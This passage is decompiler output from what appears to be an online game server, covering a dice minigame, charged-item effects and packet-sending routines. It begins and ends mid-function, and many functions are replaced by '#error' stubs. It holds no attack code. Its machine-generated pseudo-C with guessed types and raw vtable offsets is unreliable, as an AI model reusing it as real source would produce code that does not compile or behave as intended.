__int16 result; // ax@2 signed int v3; // ebx@3 char *v4; // ebp@4 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v5; // esi@5 int v6; // eax@6 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v7; // ebp@12 char *v8; // esi@12 bool v9; // zf@12 signed int v10; // edx@13 int v11; // ecx@14 char *v12; // eax@14 signed int v13; // eax@18 char v14; // bl@18 int v15; // ecx@22 int v16; // ebp@23 int v17; // edi@24 int v18; // eax@26 int v19; // edi@26 int v20; // eax@31 ShineObjectClass::ShineMiniHouse *v21; // [sp+4h] [bp-8h]@1 signed int v22; // [sp+4h] [bp-8h]@22 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v23; // [sp+8h] [bp-4h]@12 int pDBAcka; // [sp+10h] [bp+4h]@22 v21 = this; if ( pDBAck->nReqCharNo == -1 ) { result = 7457; } else { v3 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v4 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v5 = *(PROTO_NC_DICE_TAISAI_DB_RANK_ACK **)v4; if ( *(_DWORD *)v4 ) { v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v5->nError + 836))(*(_DWORD *)v4); this = v21; if ( v6 == pDBAck->nReqCharNo ) break; } ++v3; v4 += 8; } while ( v3 < this->smh_DiceTaiSai.nGamerCnt ); } else { v5 = pDBAck; } if ( v3 == this->smh_DiceTaiSai.nGamerCnt ) { result = 7457; } else { v7 = v5; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21479; v9 = pDBAck->nError == 7448; v23 = v7; *((_WORD *)v8 + 1) = pDBAck->nError; v8[4] = 0; v8[405] = 0; if ( v9 ) { v10 = 0; if ( pDBAck->nRankCnt ) { v11 = (int)(v8 + 13); v12 = (char *)&pDBAck[1].nReqCharNo; do { *(_DWORD *)(v11 - 8) = *((_DWORD *)v12 - 2); *(_DWORD *)(v11 - 4) = *((_DWORD *)v12 - 1); *(_DWORD *)v11 = *(_DWORD *)v12; *(_DWORD *)(v11 + 4) = *((_DWORD *)v12 + 1); *(_DWORD *)(v11 + 8) = *((_DWORD *)v12 + 2); ++v10; v12 += 20; v11 += 20; } while ( v10 < pDBAck->nRankCnt ); this = v21; } v8[4] = pDBAck->nRankCnt; } LOBYTE(v13) = this->smh_DiceTaiSai.nGamerCnt; v14 = 0; if ( (unsigned __int8)v13 <= 0x14u ) v13 = (unsigned __int8)v13; else v13 = 20; if ( v13 > 0 ) { v15 = (int)this->smh_DiceTaiSai.pRank; pDBAcka = v15; v22 = v13; do { v16 = *(_DWORD *)v15; if ( *(_DWORD *)v15 ) { v17 = *(_DWORD *)v16; if ( *(_DWORD *)v16 ) { if ( (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1664))(*(_DWORD *)v16) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1664))(v17); v19 = *(_DWORD *)(v18 + 2); v18 += 2; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 406] = v19; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 410] = *(_DWORD *)(v18 + 4); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 414] = *(_DWORD *)(v18 + 8); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 418] = *(_DWORD *)(v18 + 12); *(_DWORD *)&v8[4 * (5 * (unsigned __int8)v14++ + 105) + 2] = *(_DWORD *)(v16 + 4); } } } v15 = pDBAcka + 4; v9 = v22 == 1; pDBAcka += 4; --v22; } while ( !v9 ); v7 = v23; } v8[405] = v14; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20 * (unsigned __int8)v14 + 406) ) { v20 = (*(int (__thiscall **)(PROTO_NC_DICE_TAISAI_DB_RANK_ACK *))(*(_DWORD *)&v7->nError + 760))(v7); (*(void (__thiscall **)(int, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *, ProtocolPacket *))(*(_DWORD *)v20 + 12))( v20, v7, &gpp); result = 7448; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank : Packet Too Long", 20 * (unsigned __int8)v14 + 406); result = 7448; } } } return result; } //----- (004D3300) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebp@1 ShineObjectClass::ShineMiniHouse *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 int v5; // ebp@2 void *v6; // esi@3 int v7; // eax@6 int v8; // ecx@9 bool v9; // sf@9 unsigned __int8 v10; // of@9 char *v12; // [sp+4h] [bp-2Ch]@2 int nGamerCnt; // [sp+8h] [bp-28h]@1 int i; // [sp+Ch] [bp-24h]@1 void *v15; // [sp+10h] [bp-20h]@1 char *nc; // [sp+14h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+18h] [bp-18h]@12 int v18; // [sp+2Ch] [bp-4h]@12 v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21462; v2 = this; v1[2] = 0; v3 = 0; v4 = 0; nc = v1; nGamerCnt = 0; v15 = 0; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v5 = (int)(v1 + 5); v12 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v6 = *(void **)v12; if ( *(_DWORD *)v12 ) { if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 312))(*(_DWORD *)v12) == *(_WORD *)&v2->gap0[4] ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v6 + 368))(v6, 1) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 412))(v6); if ( v7 ) { if ( *(_QWORD *)(v7 + 216) >= (unsigned __int64)v2->smh_DiceTaiSai.ActiveDice.MaxBetMoney ) { *(_WORD *)(v5 - 2) = *((_WORD *)v6 + 2); *(_DWORD *)v5 = *(_DWORD *)(v7 + 216); ++nGamerCnt; v5 += 6; v15 = v6; } } } } } v8 = v2->smh_DiceTaiSai.nGamerCnt; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; v12 += 8; } while ( v9 ^ v10 ); v1 = nc; v3 = v15; v4 = nGamerCnt; } v1[2] = v4; if ( v4 > 0 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v4 + 3); v18 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v18 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 1; } //----- (004D3470) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // ebp@1 int v3; // esi@3 int v4; // eax@8 char *v6; // [sp+10h] [bp-4h]@2 v1 = this; *(_WORD *)gpp.pp_Buffer = -21494; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v6 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v3 = *(_DWORD *)v6; if ( *(_DWORD *)v6 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v6) == *(_WORD *)&v1->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold : Packet Too Long", 3); } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 376))(v3, 0); } v6 += 8; ++v2; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004D3540) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGamerCnt; } //----- (004D3550) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b) { return *(_DWORD *)(*(_DWORD *)a + 4) < *(_DWORD *)(*(_DWORD *)b + 4); } //----- (004D3570) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { if ( bIsCreateDice == 1 ) { if ( (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) == -1 ) return 0; } else { if ( !bIsCreateDice && (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsCreateDice = bIsCreateDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] = nCreateDiceKey; return 1; } //----- (004D35C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsCreateDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] == nCreateDiceKey; } //----- (004D35F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { if ( bIsDeleteDice == 1 ) { if ( (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) == -1 ) return 0; } else { if ( !bIsDeleteDice && (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsDeleteDice = bIsDeleteDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] = nDeleteDiceKey; return 1; } //----- (004D3640) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsDeleteDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] == nDeleteDiceKey; } //----- (004D3670) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame) { this->smh_DiceTaiSai.Reserve.bIsBlowGame = bIsBlowGame; return 1; } //----- (004D3680) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsBlowGame; } //----- (004D3690) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner) { this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = bIsLeaveOwner; return 1; } //----- (004D36A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsLeaveOwner; } //----- (004D36B0) -------------------------------------------------------- #error "4D36B0: undefined or illegal type '#325' (funcsize=168)" //----- (004D38E0) -------------------------------------------------------- #error "4D38E0: undefined or illegal type '#325' (funcsize=113)" //----- (004D3A60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this) { __int64 v1; // qax@1 char result; // al@2 ItemInventoryCell *v3; // ecx@3 v1 = *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]; if ( (HIDWORD(v1) & *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0]) != -1 && (v3 = this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell) != 0 && *(_QWORD *)&v3->iic_Item.iti_registnum.binary.gap0[0] == v1 ) result = v3->iic_Item.iti_itemstruct.itemattr.blot.lot & 1; else result = 0; return result; } //----- (004D3AA0) -------------------------------------------------------- DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameStatus; } //----- (004D3AB0) -------------------------------------------------------- DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGameMode; } //----- (004D3AC0) -------------------------------------------------------- #error "4D3AC0: undefined or illegal type '#325' (funcsize=62)" //----- (004D3B60) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (004D3B90) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@1 CIDEB_Element *result; // eax@3 v2 = finger->cief_Finger; if ( finger->cief_Finger < 0 || v2 >= this->cideb_Total ) result = 0; else result = &this->cideb_Array[v2]; return result; } //----- (004D3BC0) -------------------------------------------------------- #error "4D3BC0: undefined or illegal type '#325' (funcsize=277)" //----- (004D3FF0) -------------------------------------------------------- #error "4D3FF0: undefined or illegal type '#325' (funcsize=166)" //----- (004D4240) -------------------------------------------------------- #error "4D4240: undefined or illegal type '#325' (funcsize=164)" //----- (004D4480) -------------------------------------------------------- #error "4D4480: undefined or illegal type '#325' (funcsize=175)" //----- (004D46E0) -------------------------------------------------------- #error "4D46E0: undefined or illegal type '#325' (funcsize=189)" //----- (004D4970) -------------------------------------------------------- #error "4D4970: undefined or illegal type '#325' (funcsize=141)" //----- (004D4B60) -------------------------------------------------------- #error "4D4B60: undefined or illegal type '#325' (funcsize=105)" //----- (004D4CF0) -------------------------------------------------------- #error "4D4CF0: undefined or illegal type '#325' (funcsize=198)" //----- (004D4F90) -------------------------------------------------------- #error "4D4F90: undefined or illegal type '#325' (funcsize=198)" //----- (004D5230) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ"); } //----- (004D5280) -------------------------------------------------------- #error "4D5280: undefined or illegal type '#325' (funcsize=293)" //----- (004D5640) -------------------------------------------------------- #error "4D5640: undefined or illegal type '#325' (funcsize=232)" //----- (004D5980) -------------------------------------------------------- #error "4D5980: undefined or illegal type '#325' (funcsize=199)" //----- (004D5C30) -------------------------------------------------------- #error "4D5C30: undefined or illegal type '#325' (funcsize=126)" //----- (004D5DB0) -------------------------------------------------------- #error "4D5DB0: undefined or illegal type '#325' (funcsize=64)" //----- (004D5E80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this) { signed int v1; // esi@1 char *v2; // eax@2 char *v3; // edx@2 v1 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *(_DWORD *)v2 = v3; ++v1; v2 += 4; v3 += 8; } while ( v1 < this->smh_DiceTaiSai.nGamerCnt ); } qsort( this->smh_DiceTaiSai.pRank, this->smh_DiceTaiSai.nGamerCnt, 4u, ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare); return 1; } //----- (004D5EE0) -------------------------------------------------------- #error "4D5EE0: undefined or illegal type '#325' (funcsize=195)" //----- (004D6140) -------------------------------------------------------- #error "4D6140: undefined or illegal type '#325' (funcsize=109)" //----- (004D62A0) -------------------------------------------------------- #error "4D62A0: undefined or illegal type '#325' (funcsize=59)" //----- (004D6380) -------------------------------------------------------- #error "4D6380: undefined or illegal type '#325' (funcsize=59)" //----- (004D6460) -------------------------------------------------------- #error "4D6460: undefined or illegal type '#325' (funcsize=77)" //----- (004D6580) -------------------------------------------------------- #error "4D6580: undefined or illegal type '#325' (funcsize=115)" //----- (004D66F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, ItemBag *pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus) { void *v5; // ebx@1 signed int v6; // edi@1 int v7; // ecx@1 int v9; // eax@3 InventoryLocking::InventoryCellLock *v10; // eax@3 int v11; // eax@4 int v12; // ebp@4 int v13; // ecx@5 int v14; // eax@6 unsigned int v15; // esi@7 unsigned int v16; // edx@7 unsigned int v17; // ecx@10 int v18; // edx@10 unsigned int v19; // ecx@12 int v20; // edx@12 unsigned int v21; // ecx@14 int v22; // edx@14 int v23; // ecx@19 InventoryLocking::UnlockedInventoryIterator uii; // [sp+18h] [bp-28h]@3 ItemBoxIterItem ibii; // [sp+24h] [bp-1Ch]@3 int v26; // [sp+3Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; v26 = 0; if ( nInvenType != 16 ) { funcallanalizer.fca_stackpoint = v7 - 1; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 0; } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = pItemBag; ibii.baseclass_0.ibi_Limit = ((int (*)(void))pItemBag->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v9 = *(_DWORD *)v5; LOBYTE(v26) = 1; v10 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v9 + 1916))(v5); uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = v10; uii.uii_InvenType = 16; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) goto LABEL_25; do { v11 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); v12 = v11; if ( v11 ) { v13 = *(_DWORD *)(v11 + 112); if ( v13 ) { v14 = (*(int (__stdcall **)(int))(*(_DWORD *)v13 + 48))(v11 + 8); if ( v14 ) { v15 = *(_DWORD *)v14; v16 = (unsigned __int8)*(_DWORD *)v14; if ( (unsigned __int8)*(_DWORD *)v14 ) { if ( v16 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v16 < (unsigned __int8)chargeditemcheck._bf0 || (v17 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v18 = (v15 >> 8) & 0x1F, v18 <= v17) && (v18 < v17 || (v19 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v20 = (v15 >> 13) & 0x3F, v20 <= v19) && (v20 < v19 || (v21 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v22 = (v15 >> 19) & 0x3F, v22 <= v21) && (v22 < v21 || (v15 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) { if ( *(_BYTE *)(v12 + 10) & 1 ) { if ( bIsDelActiveFurniture == 1 ) { v23 = uii.uii_Iterator->ibi_finger; LABEL_22: ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(v5, v12, 16, v23, v14); continue; } if ( nGameStatus ) continue; } v23 = uii.uii_Iterator->ibi_finger; goto LABEL_22; } } } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ); v6 = -1; LABEL_25: --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v26 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 1; } // 4D3BC0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004D6910) -------------------------------------------------------- int __thiscall Parameter::Container::c_Storepure(void *this, int cc, int a3, int pp) { int v4; // ebp@1 void *v5; // ebx@1 unsigned __int16 v6; // ax@1 int v7; // esi@4 int v8; // eax@4 int v9; // eax@4 int result; // eax@4 int v11; // [sp+18h] [bp+8h]@2 v4 = a3; v5 = this; v6 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a3 + 1220))(a3); if ( (unsigned __int8)v6 > 0x96u ) v11 = *(_DWORD *)(cc + 67672); else v11 = *(_DWORD *)(cc + 4 * v6 + 67672); memcpy(v5, ¶meter_eraser_plus, 0xC0u); *(_DWORD *)v5 = *(_DWORD *)(v11 + 4) + (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2180))(v4); *((_DWORD *)v5 + 1) = *(_DWORD *)(v11 + 8) + (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2180))(v4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v11 + 20) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2180))(v4); *((_DWORD *)v5 + 3) = *(_DWORD *)(v11 + 12) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2180))(v4); v7 = cc; *((_DWORD *)v5 + 4) = *(_DWORD *)(v11 + 24) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2180))(v4); v8 = (**(int (__thiscall ***)(int, int, void *))cc)(cc, v4, v5); *((_DWORD *)v5 + 5) = v8; *((_DWORD *)v5 + 6) = v8; *((_DWORD *)v5 + 7) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 4))(v7, v4, v5); *((_DWORD *)v5 + 8) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 16))(v7, v4, v5); *((_DWORD *)v5 + 9) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 20))(v7, v4, v5); v9 = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 8))(v7, v4, v5); *((_DWORD *)v5 + 10) = v9; *((_DWORD *)v5 + 11) = v9; *((_DWORD *)v5 + 12) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 12))(v7, v4, v5); *((_DWORD *)v5 + 13) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 24))(v7, v4, v5); *((_DWORD *)v5 + 14) = (*(int (__thiscall **)(int, int, void *))(*(_DWORD *)v7 + 28))(v7, v4, v5); *((_DWORD *)v5 + 19) = 1000; *((_DWORD *)v5 + 20) = 1000; *((_DWORD *)v5 + 21) = 1000; result = 0; *((_DWORD *)v5 + 22) = 0; *((_DWORD *)v5 + 23) = 0; *((_DWORD *)v5 + 24) = 0; *((_DWORD *)v5 + 25) = 0; *((_DWORD *)v5 + 26) = 0; *((_DWORD *)v5 + 27) = 0; *((_DWORD *)v5 + 28) = 0; *((_DWORD *)v5 + 29) = 0; *((_DWORD *)v5 + 30) = 0; *((_DWORD *)v5 + 31) = 0; return result; } //----- (004D6A60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this) { int v1; // esi@1 int v2; // edi@1 v1 = *((_DWORD *)this + 1001); v2 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1220))(); return shineparam.scp_param.commonparam[v2]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 40))(v1)]; } //----- (004D6A90) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_fail", 0); } //----- (004D6AB0) -------------------------------------------------------- unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 ChargedItemEffect *v2; // eax@2 unsigned __int16 result; // ax@4 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 && v2->EffectEnum == 28 ) result = v2->EffectValue; else result = 0; return result; } //----- (004D6AE0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this) { return *(_DWORD *)(this + 92280) != (_DWORD)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing; } // 124D2458: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004D6B00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, int, int, _DWORD))(*(_DWORD *)v4 + 776))(v4, department, command, errcode); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); } //----- (004D6BB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4147; *(_DWORD *)(v2 + 2) = *(_DWORD *)((char *)v1 + 32071); *(_DWORD *)(v2 + 6) = *(_DWORD *)((char *)v1 + 32075); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); } //----- (004D6CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4207; *(_DWORD *)(v2 + 2) = *(_DWORD *)((char *)v1 + 32067); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); 